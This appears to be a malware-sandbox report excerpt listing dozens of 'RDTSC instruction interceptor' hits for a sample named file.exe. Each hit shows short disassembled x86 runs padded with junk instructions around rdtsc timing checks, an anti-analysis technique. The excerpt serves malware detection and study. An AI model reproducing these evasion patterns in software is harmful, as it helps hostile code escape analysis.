Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0487 second address: 54A048D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A048D second address: 54A04EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, al 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b pushad 0x0000000c mov eax, 657AF3ADh 0x00000011 pushad 0x00000012 movzx esi, bx 0x00000015 mov si, di 0x00000018 popad 0x00000019 popad 0x0000001a and dword ptr [eax+04h], 00000000h 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F15B4F0F8DDh 0x00000025 and ch, FFFFFFB6h 0x00000028 jmp 00007F15B4F0F8E1h 0x0000002d popfd 0x0000002e mov di, ax 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F15B4F0F8E9h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480409 second address: 5480427 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15B4B26168h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5480427 second address: 548046A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a jmp 00007F15B4F0F8E7h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 mov dx, ax 0x0000001c popad 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F15B4F0F8DEh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548046A second address: 5480479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0204 second address: 54A0208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54A0208 second address: 54A0219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B2615Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C06C1 second address: 54C06CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 mov edx, ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C06CA second address: 54C071B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B4B2615Ch 0x00000008 or ah, 00000048h 0x0000000b jmp 00007F15B4B2615Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007F15B4B26166h 0x0000001a mov ebp, esp 0x0000001c jmp 00007F15B4B26160h 0x00000021 xchg eax, ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C071B second address: 54C0744 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15B4F0F8DEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0744 second address: 54C074A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C074A second address: 54C074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C074E second address: 54C075E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bx, ax 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C075E second address: 54C0842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [76FB65FCh] 0x0000000e jmp 00007F15B4F0F8E0h 0x00000013 test eax, eax 0x00000015 jmp 00007F15B4F0F8E0h 0x0000001a je 00007F1626982AA9h 0x00000020 pushad 0x00000021 jmp 00007F15B4F0F8DEh 0x00000026 mov edi, esi 0x00000028 popad 0x00000029 mov ecx, eax 0x0000002b pushad 0x0000002c mov esi, 78D707E9h 0x00000031 popad 0x00000032 xor eax, dword ptr [ebp+08h] 0x00000035 pushad 0x00000036 call 00007F15B4F0F8DEh 0x0000003b mov si, BE91h 0x0000003f pop ecx 0x00000040 jmp 00007F15B4F0F8E7h 0x00000045 popad 0x00000046 and ecx, 1Fh 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F15B4F0F8E4h 0x00000050 jmp 00007F15B4F0F8E5h 0x00000055 popfd 0x00000056 popad 0x00000057 ror eax, cl 0x00000059 jmp 00007F15B4F0F8DDh 0x0000005e leave 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 pushfd 0x00000063 jmp 00007F15B4F0F8DAh 0x00000068 sbb ax, AFD8h 0x0000006d jmp 00007F15B4F0F8DBh 0x00000072 popfd 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0842 second address: 54C088F instructions: 0x00000000 rdtsc 0x00000002 mov ch, E6h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F15B4B26167h 0x0000000f and cx, EF4Eh 0x00000014 jmp 00007F15B4B26169h 0x00000019 popfd 0x0000001a popad 0x0000001b popad 0x0000001c retn 0004h 0x0000001f nop 0x00000020 mov esi, eax 0x00000022 lea eax, dword ptr [ebp-08h] 0x00000025 xor esi, dword ptr [00AA2014h] 0x0000002b push eax 0x0000002c push eax 0x0000002d push eax 0x0000002e lea eax, dword ptr [ebp-10h] 0x00000031 push eax 0x00000032 call 00007F15B958691Dh 0x00000037 push FFFFFFFEh 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C088F second address: 54C08A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C08A2 second address: 54C090F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007F15B4B2615Eh 0x0000000f ret 0x00000010 nop 0x00000011 push eax 0x00000012 call 00007F15B958695Eh 0x00000017 mov edi, edi 0x00000019 pushad 0x0000001a movzx esi, bx 0x0000001d mov bh, 37h 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F15B4B26162h 0x00000026 push eax 0x00000027 jmp 00007F15B4B2615Bh 0x0000002c xchg eax, ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F15B4B26165h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C090F second address: 54C092C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C092C second address: 54C0930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0930 second address: 54C0943 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0943 second address: 54C096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F15B4B2615Ah 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470028 second address: 547002C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547002C second address: 5470032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470032 second address: 54700AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15B4F0F8E4h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 call 00007F15B4F0F8E9h 0x00000016 pop eax 0x00000017 popad 0x00000018 mov esi, ebx 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d jmp 00007F15B4F0F8E3h 0x00000022 and esp, FFFFFFF8h 0x00000025 jmp 00007F15B4F0F8E6h 0x0000002a xchg eax, ecx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov ax, dx 0x00000031 mov ebx, 159AAC3Ch 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700AB second address: 54700C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 mov dx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov al, bl 0x00000010 mov bx, si 0x00000013 popad 0x00000014 xchg eax, ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700C6 second address: 54700CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700CA second address: 54700CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700CE second address: 54700D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700D4 second address: 54700DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700DA second address: 54700DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700DE second address: 547010F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F15B4B26164h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F15B4B2615Ch 0x00000017 pop ecx 0x00000018 push ebx 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547010F second address: 5470115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470115 second address: 5470119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470119 second address: 5470152 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c jmp 00007F15B4F0F8E0h 0x00000011 mov ebx, dword ptr [ebp+10h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov bl, 95h 0x00000019 movzx eax, dx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470152 second address: 5470158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470158 second address: 547015C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547015C second address: 547021F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a jmp 00007F15B4B26164h 0x0000000f pushfd 0x00000010 jmp 00007F15B4B26162h 0x00000015 add eax, 090ECE68h 0x0000001b jmp 00007F15B4B2615Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F15B4B26169h 0x00000028 xchg eax, esi 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F15B4B2615Ch 0x00000030 sub cx, CBF8h 0x00000035 jmp 00007F15B4B2615Bh 0x0000003a popfd 0x0000003b call 00007F15B4B26168h 0x00000040 mov ch, D3h 0x00000042 pop edx 0x00000043 popad 0x00000044 mov esi, dword ptr [ebp+08h] 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a mov esi, ebx 0x0000004c pushfd 0x0000004d jmp 00007F15B4B2615Bh 0x00000052 jmp 00007F15B4B26163h 0x00000057 popfd 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547021F second address: 5470225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470225 second address: 5470229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470229 second address: 547022D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547022D second address: 547025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F15B4B2615Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F15B4B26167h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547025E second address: 5470286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movsx edi, cx 0x00000011 push esi 0x00000012 pop edx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470286 second address: 54702A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F16265E44D0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702A7 second address: 54702BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702BA second address: 5470340 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov ah, A6h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 jmp 00007F15B4B26163h 0x00000017 je 00007F16265E44A2h 0x0000001d jmp 00007F15B4B26166h 0x00000022 mov edx, dword ptr [esi+44h] 0x00000025 jmp 00007F15B4B26160h 0x0000002a or edx, dword ptr [ebp+0Ch] 0x0000002d jmp 00007F15B4B26160h 0x00000032 test edx, 61000000h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F15B4B26167h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470340 second address: 547040F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F16269CDC01h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F15B4F0F8DCh 0x00000016 and si, FE18h 0x0000001b jmp 00007F15B4F0F8DBh 0x00000020 popfd 0x00000021 call 00007F15B4F0F8E8h 0x00000026 call 00007F15B4F0F8E2h 0x0000002b pop eax 0x0000002c pop edi 0x0000002d popad 0x0000002e test byte ptr [esi+48h], 00000001h 0x00000032 jmp 00007F15B4F0F8DEh 0x00000037 jne 00007F16269CDBB6h 0x0000003d pushad 0x0000003e call 00007F15B4F0F8DEh 0x00000043 mov edi, esi 0x00000045 pop esi 0x00000046 push ebx 0x00000047 pushfd 0x00000048 jmp 00007F15B4F0F8DAh 0x0000004d sbb ax, 4D38h 0x00000052 jmp 00007F15B4F0F8DBh 0x00000057 popfd 0x00000058 pop eax 0x00000059 popad 0x0000005a test bl, 00000007h 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F15B4F0F8E2h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547040F second address: 5470415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470415 second address: 5470419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54607CE second address: 5460812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F15B4B2615Fh 0x0000000a or cx, CA6Eh 0x0000000f jmp 00007F15B4B26169h 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F15B4B2615Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460812 second address: 5460827 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ch, 8Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460827 second address: 5460892 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B4B26167h 0x00000008 sub eax, 166FA5DEh 0x0000000e jmp 00007F15B4B26169h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F15B4B26160h 0x0000001c jmp 00007F15B4B26165h 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 mov bh, al 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460892 second address: 54608FD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B4F0F8DFh 0x00000008 jmp 00007F15B4F0F8E3h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov edi, eax 0x00000012 popad 0x00000013 and esp, FFFFFFF8h 0x00000016 jmp 00007F15B4F0F8E2h 0x0000001b xchg eax, ebx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F15B4F0F8DEh 0x00000023 and ecx, 28B46CF8h 0x00000029 jmp 00007F15B4F0F8DBh 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54608FD second address: 5460901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460901 second address: 5460912 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460912 second address: 5460944 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F15B4B26163h 0x00000012 mov eax, 493E65EFh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460944 second address: 5460981 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F15B4F0F8DEh 0x0000000f push eax 0x00000010 jmp 00007F15B4F0F8DBh 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov di, 5DB6h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460981 second address: 546099B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B26166h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546099B second address: 546099F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546099F second address: 54609D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007F15B4B26167h 0x00000010 sub ebx, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15B4B26161h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54609D8 second address: 54609DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54609DC second address: 54609E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54609E2 second address: 5460A5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F15B4F0F8E0h 0x00000010 je 00007F16269D5260h 0x00000016 jmp 00007F15B4F0F8E0h 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F15B4F0F8DEh 0x00000029 sbb cx, D728h 0x0000002e jmp 00007F15B4F0F8DBh 0x00000033 popfd 0x00000034 push eax 0x00000035 push edx 0x00000036 call 00007F15B4F0F8E6h 0x0000003b pop eax 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460A5B second address: 5460A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460A5F second address: 5460B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, esi 0x00000009 jmp 00007F15B4F0F8E7h 0x0000000e je 00007F16269D51FAh 0x00000014 jmp 00007F15B4F0F8E6h 0x00000019 test byte ptr [76FB6968h], 00000002h 0x00000020 pushad 0x00000021 jmp 00007F15B4F0F8DDh 0x00000026 popad 0x00000027 jne 00007F16269D51DBh 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F15B4F0F8DCh 0x00000034 and cx, 0978h 0x00000039 jmp 00007F15B4F0F8DBh 0x0000003e popfd 0x0000003f pushfd 0x00000040 jmp 00007F15B4F0F8E8h 0x00000045 xor esi, 1577A3D8h 0x0000004b jmp 00007F15B4F0F8DBh 0x00000050 popfd 0x00000051 popad 0x00000052 mov edx, dword ptr [ebp+0Ch] 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460B0B second address: 5460B26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C06 second address: 5460C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C0A second address: 5460C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460C10 second address: 5460C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B4F0F8DCh 0x00000009 adc ax, 0608h 0x0000000e jmp 00007F15B4F0F8DBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F15B4F0F8E8h 0x0000001a or ecx, 2B7F2868h 0x00000020 jmp 00007F15B4F0F8DBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 pop esi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov si, bx 0x00000030 push edi 0x00000031 pop esi 0x00000032 popad 0x00000033 rdtsc
